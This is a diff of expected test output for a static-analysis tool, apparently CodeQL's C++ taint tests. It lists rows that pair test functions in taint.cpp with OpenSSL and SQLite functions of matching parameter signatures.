| 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | strhash | 0 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:512:7:512:12 | strtok | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:512:7:512:12 | strtok | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:512:7:512:12 | strtok | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:512:7:512:12 | strtok | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:512:7:512:12 | strtok | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:512:7:512:12 | strtok | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:512:7:512:12 | strtok | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | defossilize | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | make_uppercase | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | next_item | 0 | | taint.cpp:514:6:514:16 | test_strtok | (char *) | CStringT | CStringT | 0 | +| taint.cpp:523:7:523:13 | _strset | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:523:7:523:13 | _strset | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:523:7:523:13 | _strset | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:523:7:523:13 | _strset | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:523:7:523:13 | _strset | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| 